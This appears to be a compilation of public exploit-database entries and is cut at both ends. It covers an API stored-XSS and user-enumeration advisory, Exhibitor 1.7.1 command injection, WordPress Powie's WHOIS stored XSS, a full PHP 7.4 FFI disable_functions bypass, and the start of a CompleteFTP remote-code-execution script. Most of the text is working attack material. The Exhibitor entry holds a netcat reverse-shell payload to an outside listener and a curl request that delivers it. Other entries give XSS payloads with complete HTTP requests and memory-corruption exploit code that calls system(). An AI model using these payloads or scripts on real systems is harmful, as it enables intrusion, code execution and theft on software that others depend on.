SCRIPT>","Lastname":"<ARBITRARY INPUT HERE OR STORED XSS SCRIPT>","Title":"","Phone":"<ARBITRARY INPUT HERE>","Email":"<Correct email here>",<REMAINDER OF REQUEST HERE>} } Multiple paramaters above can be forged and modified for existing UserID accounts. The Firstname and Lastname parameters are vulnerable to a stored XSS attack which can be used to inject malicious scripts into existing user accounts to steal sessions or account data, or to redirect users to malicious pages. 3. GetUser API endpoint - Allows the ability to view the user account details of any arbitrary user by enumerating their UserID. HTTP Request PoC: POST /WS/AjaxWS.asmx/GetUser {"userID":XXXX } The UserID paramter can be forged to enumerate over existing userID's in order to return their account details such as full name, username, user permissions, account role, email, and password question. Tested on: Windows CVE: CVE-2020-14944 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14944
-
Exhibitor Web UI 1.7.1 - Remote Code Execution
# Exploit Title: Exhibitor Web UI 1.7.1 - Remote Code Execution # Date: 2019-11-13 # Exploit Author: Logan Sanderson # Web Site: https://github.com/soabase/exhibitor/wiki/Running-Exhibitor # Version : 1.7.1 # CVE : CVE-2019-5029 Exhibitor UI command injection vulnerability November 13, 2019 CVE Number CVE-2019-5029 Summary An exploitable command injection vulnerability exists in the Config editor of the Exhibitor Web UI versions 1.0.9 to 1.7.1. Arbitrary shell commands surrounded by backticks or $() can be inserted into the editor and will be executed by the Exhibitor process when it launches ZooKeeper. An attacker can execute any command as the user running the Exhibitor process. Tested Versions Tested version was compiled using the standalone pom.xml from the Exhibitor master branch. (Note that the latest released version is labeled 1.7.1, but the version in the exhibitor-standalone’s pom.xml is set to 1.6.0.) The vulnerability should affect all versions at least as far back as 1.0.9, when the javaEnvironment variable was added. Product URLs https://github.com/soabase/exhibitor CVSSv3 Score 9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE CWE-78 - Improper Neutralization of Special Elements used in an OS Command Details Exhibitor is a ZooKeeper supervisory process, which is described in the ZooKeeper documentation. Since the ZooKeeper server will exit on an error, the Apache ZooKeeper documentation suggests a supervisory process that manages the ZooKeeper server process, mainly for the purpose of restarting ZooKeeper when it exits. Exhibitor’s Web UI does not have any form of authentication, and prior to version 1.7.0, did not have any way to specify which interfaces to listen on. Exposing Exhibitor is dangerous for the ZooKeeper ensemble because Exhibitor allows the changing of the ZooKeeper configuration, and also provides a UI for viewing and modifying keys and values stored in ZooKeeper. By default, the Exhibitor Web UI listens on TCP 8080. However, since this port is commonly used, it may be common to find it on other ports as well. Under the Config tab in the Exhibitor Web UI, the “java.env script” field can be modified and the new configuration pushed to ZooKeeper. Exhibitor launches ZooKeeper through a script, and the contents of this field are passed, unmodified, as arguments to the Java command to launch ZooKeeper, which can be seen here. (The contents of the “java.env script” field are passed in as $JVMFLAGS.) Based on how this argument is passed, there are several ways to execute arbitrary commands. The methods tested were surrounding the command with backticks and using $(), for example: $(/bin/nc -e /bin/sh 10.0.0.64 4444 &) This example uses netcat to open a reverse shell to a listener on 10.0.0.64:4444. In the example, ZooKeeper will still launch successfully after the command executes, and it will run the command every time ZooKeeper is re-launched by Exhibitor. Exploit Proof of Concept The included screenshots show the process of obtaining a root shell on the system. The steps to exploit it from a web browser: Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON In the “java.env script” field, enter any command surrounded by $() or ``, for example, for a simple reverse shell: $(/bin/nc -e /bin/sh 10.0.0.64 4444 &) Click Commit > All At Once > OK The command may take up to a minute to execute. It can also be performed with a single curl command: command: curl -X POST -d @data.json http://10.0.0.200:8080/exhibitor/v1/config/set data.json: { “zookeeperInstallDirectory”: “/opt/zookeeper”, “zookeeperDataDirectory”: “/opt/zookeeper/snapshots”, “zookeeperLogDirectory”: “/opt/zookeeper/transactions”, “logIndexDirectory”: “/opt/zookeeper/transactions”, “autoManageInstancesSettlingPeriodMs”: “0”, “autoManageInstancesFixedEnsembleSize”: “0”, “autoManageInstancesApplyAllAtOnce”: “1”, “observerThreshold”: “0”, “serversSpec”: “1:exhibitor-demo”, “javaEnvironment”: “$(/bin/nc -e /bin/sh 10.0.0.64 4444 &)”, “log4jProperties”: “”, “clientPort”: “2181”, “connectPort”: “2888”, “electionPort”: “3888”, “checkMs”: “30000”, “cleanupPeriodMs”: “300000”, “cleanupMaxFiles”: “20”, “backupPeriodMs”: “600000”, “backupMaxStoreMs”: “21600000”, “autoManageInstances”: “1”, “zooCfgExtra”: { “tickTime”: “2000”, “initLimit”: “10”, “syncLimit”: “5”, “quorumListenOnAllIPs”: “true” }, “backupExtra”: { “directory”: “” }, “serverId”: 1 } Mitigation Since Exhibitor has no built-in authentication, it would be helpful to limit the interfaces it listens on to only trusted networks, or require authentication using something like an nginx reverse proxy and block all other access using firewall rules. If the features provided by the Exhibitor Web UI are not needed and the only needed functionality is managing the ZooKeeper process, it should be replaced with a simpler ZooKeeper supervisor solution, such as a systemd service. Timeline 2019-03-08 - Vendor Disclosure 2019-05-01 - GitHub issue #389 created; Vendor advised point of contact changed. Copy of report sent to new point of contact 2019-05-14 - (75 day) 3rd follow up with vendor 2019-05-29 - Final notice of public disclosure release 2019-11-13 - Public Release Credit Discovered by Logan Sanderson of Cisco ASIG.
-
Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting
# Exploit Title: Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting # Date: 2020-07-07 # Vendor Homepage: https://powie.de # Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers # Software Link: https://wordpress.org/plugins/powies-whois/ # Exploit Author: mqt # Author Homepage: https://blog.haao.sh 1. Description Powie's WHOIS Wordpress plugin was found to be vulnerable to Stored XSS as multiple fields in the plugin's setup settings fail to properly sanitize user input. The risk here is mitigated due to the fact that active exploitation would require authentication. However a lower privileged Wordpress user would be able to take advantage of the fact that the arbitrary Javascript executes on the same origin and therefore by using a specially crafted payload, an attacker would be able to elevate their privileges or take any of the same actions an admin would be able to. All Wordpress websites using Powie's WHOIS version < 0.9.31 are vulnerable. 2. Vulnerability There are two sets of vulnerable fields with each requiring a different payload in order exploit. The first set of vulnerable fields display output using the `<textarea>` element. Show on available domains (display-on-free) Show on unavailable domains (display-on-connect) Show on invalid domain (display-on-valid) As no sanitization is being performed, an attacker can use a closing `</textarea>` tag to close the HTML element and thus is able to inject arbitrary Javascript. Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) <tr valign="top"> <th scope="row"><?php _e('Show on available domains', 'powies-whois') ?></th> <td><textarea rows="3" name="display-on-free" style="width:100%;"><?php echo get_option('display-on-free'); ?></textarea></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Show on unavailable domains', 'powies-whois') ?></th> td><textarea rows="3" name="display-on-connect" style="width:100%;"><?php echo get_option('display-on-connect'); ?></textarea></td> </tr> <tr valign="top"> <th scope="row"><?php _e('Show on invalid domain', 'powies-whois') ?></th> <td><textarea rows="3" name="display-on-invalid" style="width:100%;"><?php echo get_option('display-on-invalid'); ?></textarea></td> </tr> Payload: </textarea><img src=/ onerror=alert(1)> Vulnerable HTTP Request: POST /wp-admin/options.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php Content-Type: application/x-www-form-urlencoded Content-Length: 479 Origin: http://localhost Connection: close Cookie: <snipped for brevity> Upgrade-Insecure-Requests: 1 option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output= The second set of vulnerable fields display output using the <input> element, specifically in the value attribute. As no sanitization is performed, an attacker is able to use specially crafted input to escape the value attribute and thus have the ability to inject arbitrary Javascript. Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php) <tr valign="top"> <th scope="row"><?php _e('HTML before whois output', 'powies-whois') ?></th> <td><input type="text" name="before-whois-output" value="<?php echo get_option('before-whois-output'); ?>" style="width:100%;" /></td> </tr> <tr valign="top"> <th scope="row"><?php _e('HTML after whois output', 'powies-whois') ?></th> <td><input type="text" name="after-whois-output" value="<?php echo get_option('after-whois-output'); ?>" style="width:100%;"/></td> </tr> Payload: "><img src=/ onerror=alert(1)> Vulnerable HTTP Request: POST /wp-admin/options.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php Content-Type: application/x-www-form-urlencoded Content-Length: 398 Origin: http://localhost Connection: close Cookie: <snipped for brevity> Upgrade-Insecure-Requests: 1 option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E
-
PHP 7.4 FFI - 'disable_functions' Bypass
<?php /* FFI Exploit - uses 3 potential BUGS. PHP was contacted and said nothing in FFI is a security issue. Able to call system($cmd) without using FFI::load() or FFI::cdefs() * BUG #1 (maybe intended, but why have any size checks then?) no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411) * BUG #2 (maybe intended, but why have any checks then?) no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER (https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286) * BUG #3 Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr() call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA object the easiest way is to create cdata object, write target RIP (zif_system's address) to it and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it Exploit steps: 1. Use read/write to leak zif_system pointer a. walk cdata object to leak handlers pointer ( in .bss ) b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits right below a pointer to the .data.relro segment c. Increment and read the .data.relro pointer to get a relro section leak d. Using the relro section leak, scan up memory looking for the 'system' string that is inside the zif_system relro entry. e. once found, increment and leak the zif_system pointer 2. Hijack RIP with complete argument control a. create a function pointer CDATA object using FFI::new() [not callable as it is technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef() b. Overwrite the object'd data with zif_system pointer c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is callable with our own arguments 3. Create proper argument object to pass to zif_system (zend_execute_data .. ) a. Build out the zend_execute_data object in a php string b. right after the object is the argument object itself (zval) which we must also build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer and place it into a fake zval STRING object. c. finally we can call zif_system with a controlled argument NOTE: does NOT exit cleanly nor give command output -- both may be possible Author: Hunter Gregal Tested on: - PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi - PHP 7.4.3 x64 Ubuntu 20 (apt install) */ ini_set("display_errors", "On"); error_reporting(E_ALL); function pwn($cmd) { function allocate($amt, $fill) { // could do $persistent = TRUE to alloc on libc malloc heap instead // but we already have a good read/write primitive // and relying on libc leaks for gadgets is not very portable // (custome compiled libc -> see pornhub php 0-day) $buf = FFI::new("char [".$amt."]"); $bufPtr = FFI::addr($buf); FFI::memset($bufPtr, $fill, $amt); // not sure if i need to keep the CData reference alive // or not - but just in case return it too for now return array($bufPtr, $buf); } // uses leak to leak data from FFI ptr function leak($ptr, $n, $hex) { if ( $hex == 0 ) { return FFI::string($ptr, $n); } else { return bin2hex(FFI::string($ptr, $n)); } } function ptrVal($ptr) { $tmp = FFI::cast("uint64_t", $ptr); return $tmp->cdata; } /* Read primative writes target address overtop of CDATA object pointer, then leaks directly from the CDATA object */ function Read($addr, $n = 8, $hex = 0) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Leak the overwritten ptr return leak($vulnBufPtr, $n, $hex); } /* Write primative writes target address overtop of CDATA object pointer, then writes directly to the CDATA object */ function Write($addr, $what, $n) { // Create vulnBuf which we walk back to do the overwrite // (the size and contents dont really matter) list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8 // walk back to get ptr to ptr (heap) $vulnBufPtrPtr = FFI::addr($vulnBufPtr); /*// DEBUG $vulnBufPtrVal = ptrVal($vulnBufPtr); $vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr); printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal)); printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal)); printf("-------\n\n"); */ // Overwrite the ptr $packedAddr = pack("Q",$addr); FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8); // Write to the overwritten ptr FFI::memcpy($vulnBufPtr, $what, $n); } function isPtr($knownPtr, $testPtr) { if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) { return 1; } else { return 0; } } /* Walks looking for valid pointers * - each valid ptr is read and if it - points to the target return the address of the - ptr and the location it was found */ //function getRodataAddr($bssLeak) { function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) { $start = $segmentLeak; for($i = 0; $i < $maxQWORDS; $i++) { if ( $up == 0 ) { // walk 'down' addresses $addr = $start - (8 * $i); } else { // walk 'up' addresses $addr = $start + (8 * $i); } //$leak = Read($addr, 8); $leak = unpack("Q", Read($addr))[1]; // skip if its not a valid pointer... if ( isPtr($segmentLeak, $leak) == 0 ) { continue; } $leak2 = Read($leak, $n = $size); //printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2); if( strcmp($leak2, $target) == 0 ) { # match return array ($leak, $addr); } } return array(0, 0); } function getBinaryBase($textLeak) { $start = $textLeak & 0xfffffffffffff000; for($i = 0; $i < 0x10000; $i++) { $addr = $start - 0x1000 * $i; $leak = Read($addr, 7); //if($leak == 0x10102464c457f) { # ELF header if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header return $addr; } } return 0; } function parseElf($base) { $e_type = unpack("S", Read($base + 0x10, 2))[1]; $e_phoff = unpack("Q", Read($base + 0x20))[1]; $e_phentsize = unpack("S", Read($base + 0x36, 2))[1]; $e_phnum = unpack("S", Read($base + 0x38, 2))[1]; for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = unpack("L", Read($header, 4))[1]; $p_flags = unpack("L", Read($header + 4, 4))[1]; $p_vaddr = unpack("Q", Read($header + 0x10))[1]; $p_memsz = unpack("Q", Read($header + 0x28))[1]; if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function getBasicFuncs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = unpack("Q", Read($data_addr+ ($i * 8)))[1]; if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = unpack("Q", Read($leak))[1]; # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1]; if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = unpack("Q", Read($leak))[1]; # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function getSystem($basic_funcs) { $addr = $basic_funcs; do { $f_entry = unpack("Q", Read($addr))[1]; $f_name = Read($f_entry, 6) . "\0"; if( strcmp($f_name, "system\0") == 0) { # system return unpack("Q", Read($addr + 8))[1]; } $addr += 0x20; } while($f_entry != 0); return false; } // Convenient for debugging function crash() { Write(0x0, "AAAA", 4); } printf("\n[+] Starting exploit...\n"); // --------------------------- start of leak zif_system address /* NOTE: typically we would leak a .text address and walk backwards to find the ELF header. From there we can parse the elf information to resolve zif_system - in our case the base PHP binary image with the ELF head is on its own mapping that does not border the .text segment. So we need a creative way to get zif_system */ /* ---- First, we use our read to walk back to the our Zend_object, // and get its zend_object_handlers* which will point to the // php binary symbols zend_ffi_cdata_handlers in the .bss. // //_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS // // From there we search for a ptr to a known value (happens to be to the .rodata section) // that just so happens to sit right below a ptr to the 'zend_version' relro entry. // So we do some checks on that to confirm it is infact a valid ptr to the .data.relro. // // Finally we walk UP the relro entries looking for the 'system' (zif_system) entry. (zend_types.h) struct _zend_object { <-----typdef zend_object zend_refcounted_h gc; uint32_t handle; // may be removed ??? end_class_entry *ce; const zend_object_handlers *handlers; <--- func ptrs HashTable *properties; zval properties_table[1]; }; (ffi.c) typedef struct _zend_ffi_cdata { zend_object std; zend_ffi_type *type; void *ptr; <--- OVERWRITE void *ptr_holder; <-- zend_ffi_flags flags; } zend_ffi_cdata; */ list($dummyPtr, $dummy) = allocate(64, 0x41); // dummy buf ptr $dummyPtrVal = ptrVal($dummyPtr); // dummy buf ptr ptr $dummyPtrPtr = FFI::addr($dummyPtr); $dummyPtrPtrVal = ptrVal($dummyPtrPtr); printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal); printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal); $r = leak($dummyPtr, 64, 1); printf("Dummy buf:\n%s\n", $r); printf("-------\n\n"); /* // ------ Test our read and write $r = Read($dummyPtrVal, 256, 1); printf("Read Test (DummyBuf):\n%s\n", $r); Write($dummyPtrVal, "CCCCCCCC", 8); $r = Read($dummyPtrVal, 256, 1); printf("Write Test (DummyBuf):\n%s\n", $r); // ---------- */ $handlersPtrPtr = $dummyPtrPtrVal - (6 * 8); printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr); $handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr); // Find our 'known' value in the .rodata section -- in this case 'CORE' // (backup can be 'STDIO)' list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4); if ( $rodataLeak == 0 ) { // If we failed let's just try to find PHP's base and hope for the best printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n"); // use .txt leak $textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object printf(".textLeak = 0x%x\n", $textLeak); $base = getBinaryBase($textLeak); if ( $base == 0 ) { die("Failed to get binary base\n"); } printf("BinaryBase = 0x%x\n", $base); // parse elf if (!($elf = parseElf($base))) { die("failed to parseElf\n"); } if (!($basicFuncs = getBasicFuncs($base, $elf))) { die("failed to get basic funcs\n"); } if (!($zif_system = getSystem($basicFuncs))) { die("Failed to get system\n"); } // XXX HERE XXX //die("Get rodata addr failed\n"); } else { printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak); // Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static // zend_version is in .data.rel.ro $dataRelroPtr = $rodataLeakPtr + 8; printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr); // Read the .data.relro potr $dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1]; if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) { die("bad zend_version entry pointer\n"); } printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak); // Confirm this is a ptrptr to zend_version $r = unpack("Q", Read($dataRelroLeak))[1]; if ( isPtr($dataRelroLeak, $r) == 0 ) { die("bad zend_version entry pointer\n"); } printf("'zend_version' string ptr = 0x%x\n", $r); $r = Read($r, $n = 12); if ( strcmp($r, "zend_version") ) { die("Failed to find zend_version\n"); } printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak); /* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry - this is a LARGE section... */ list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1); if ( $systemEntryPtr == 0 ) { die("Failed to find zif_system relro entry\n"); } printf("system relro entry = 0x%x\n", $systemEntryPtr); $zif_systemPtr = $systemEntryPtr + 8; $r = unpack("Q", Read($zif_systemPtr))[1]; if ( isPtr($zif_systemPtr, $r) == 0 ) { die("bad zif_system pointer\n"); } $zif_system = $r; } printf("[+] zif_system @ 0x%x\n", $zif_system); // --------------------------- end of leak zif_system address // --------------------------- start call zif_system /* To call system in a controlled manner the easiest way is to create cdata object, write target RIP (zif_system's address) to it and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it */ $helper = FFI::new("char* (*)(const char *)"); //$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control $helperPtr = FFI::addr($helper); //list($helperPtr, $helper) = allocate(8, 0x43); //$x[0] = $zif_system; $helperPtrVal = ptrVal($helperPtr); $helperPtrPtr = FFI::addr($helperPtr); $helperPtrPtrVal = ptrVal($helperPtrPtr); printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal); // Walk the type pointers //$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object //printf("helper CDATA object @ 0x%x\n", $helperObjPtr); $helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr //printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr); $r = unpack("Q", Read($helperTypePtrPtr))[1]; if ( isPtr($helperTypePtrPtr, $r) == 0 ) { die("bad helper type pointer\n"); } $helperTypePtr = $r; // Confirm it's currently ZEND_FFI_TYPE_VOID (0) $r = Read($helperTypePtr, $n=1, $hex=1); if ( strcmp($r, "00") ) { die("Unexpected helper type!\n"); } printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr); // Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15) Write($helperTypePtr, "\x10", 1); printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr); // Finally write zif_system to the value Write($helperPtrVal, pack("Q", $zif_system), 8); // --------------------------- end of leak zif_system address // ----------------------- start of build zif_system argument /* zif_system takes 2 args -> zif_system(*zend_execute_data, return_val) For now I don't bother with the return_val, although tehnically we could control it and potentially exit cleanly */ // ----------- start of setup zend_execute_data object /* Build valid zend_execute object struct _zend_execute_data { const zend_op *opline; /* executed opline zend_execute_data *call; /* current call zval *return_value; zend_function *func; /* executed function zval This; /* this + call_info + num_args zend_execute_data *prev_execute_data; zend_array *symbol_table; void **run_time_cache; /* cache op_array->run_time_cache }; //0x48 bytes */ //This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data] $execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's $execute_data .= pack("L", 0); // this.u1.type $execute_data .= pack("L", 1); // this.u2.num_args $execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj $execute_data .= str_shuffle(str_repeat("D", 8)); //padding // ----------- end of setup zend_execute_data object // ----------- start of setup argument object /* the ARG (zval) object lays after the execute_data object zval { value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string]) u1.type = 6 (IS_STRING) u2.???? = [unused] } */ /* // Let's get our target command setup in a controlled buffer // TODO - use the dummy buf? // the string itself is odd. it has 16 bytes prepended to it that idk what it is // the whole argument after the zend_execute_data object looks like */ $cmd_ = str_repeat("X", 16); // unk padding $cmd_ .= pack("Q", strlen($cmd)); // string len $cmd_ .= $cmd . "\0"; // ensure null terminated! list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0); $cmdBufPtrVal = ptrVal($cmdBufPtr); FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_)); printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal); // Now setup the zval object itself $zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string) $zval .= pack("L", 6); // zval.u1.type (IS_STRING [6]) $zval .= pack("L", 0); // zval.u2 - unused $execute_data .= $zval; // ---------- end of setup argument object // ----------------------- start of build zif_system argument $res = $helper($execute_data); //$return_val = 0x0; // // XXX if we want return_val control //$res = $helper($execute_data, $return_val); // XXX if we want return_val control // --------------------------- end of call zif_system } pwn("touch /tmp/WIN2.txt"); ?>
-
CompleteFTP Professional 12.1.3 - Remote Code Execution
# Exploit Title: CompleteFTP Professional < 12.1.3 - Remote Code Execution # Date: 2020-03-11 # Exploit Author: 1F98D # Original Author: Rhino Security Labs # Vendor Homepage: https://enterprisedt.com/products/completeftp/ # Version: CompleteFTP Professional # Tested on: Windows 10 (x64) # CVE: CVE‑2019‑16116 # References: # https://rhinosecuritylabs.com/application-security/completeftp-server-local-privesc-cve-2019-16116/ # https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-16116 # # CompleteFTP before 12.1.3 logs an obscured administrator password to a file # during installation (C:\Program Files (x86)\Complete FTP\Server\Bootstrapper.log) # if CompleteFTP is configured to permit remote administration (over port 14983) it # is possible to obtain remote code execution through the administration interface # # This script requires the following python modules are installed # pip install paramiko pycryptodome uuid # #!/usr/local/bin/python3 from paramiko.sftp import CMD_EXTENDED from base64 import b64encode, b64decode from Crypto.Util.Padding import unpad from Crypto.Cipher import DES3 import xml.etree.ElementTree as ET import paramiko import struct import uuid import sys # region get_server_info get_server_info = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:GetServerInfo id="ref-1" xmlns:i2="Admin API"> </i2:GetServerInfo> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region update_config update_config = """ <SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <i2:UpdateConfig id="ref-1" xmlns:i2="Admin API"> <changes href="#ref-4"/> </i2:UpdateConfig> <a1:ConfigDataSet id="ref-4" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/EnterpriseDT.Net.FtpServer.Config/CompleteFTPManager%2C%20Version%3D8.3.3.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D48e55b33069804ce"> <DataSet.RemotingVersion href="#ref-5"/> <XmlSchema id="ref-6">{XMLSCHEMA}</XmlSchema> <XmlDiffGram id="ref-7">{XMLDIFFGRAM}</XmlDiffGram> </a1:ConfigDataSet> <a2:Version id="ref-5" xmlns:a2="http://schemas.microsoft.com/clr/ns/System"> <_Major>2</_Major> <_Minor>0</_Minor> <_Build>-1</_Build> <_Revision>-1</_Revision> </a2:Version> </SOAP-ENV:Body> </SOAP-ENV:Envelope> """.strip() # endregion # region xml_schema xml_schema = """ <?xml version="1.0" encoding="utf-16"?> <xs:schema id="ConfigDataSet" targetNamespace="http://tempuri.org/ConfigDataSet.xsd" xmlns:mstns="http://tempuri.org/ConfigDataSet.xsd" xmlns="http://tempuri.org/ConfigDataSet.xsd" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:msprop="urn:schemas-microsoft-com:xml-msprop" 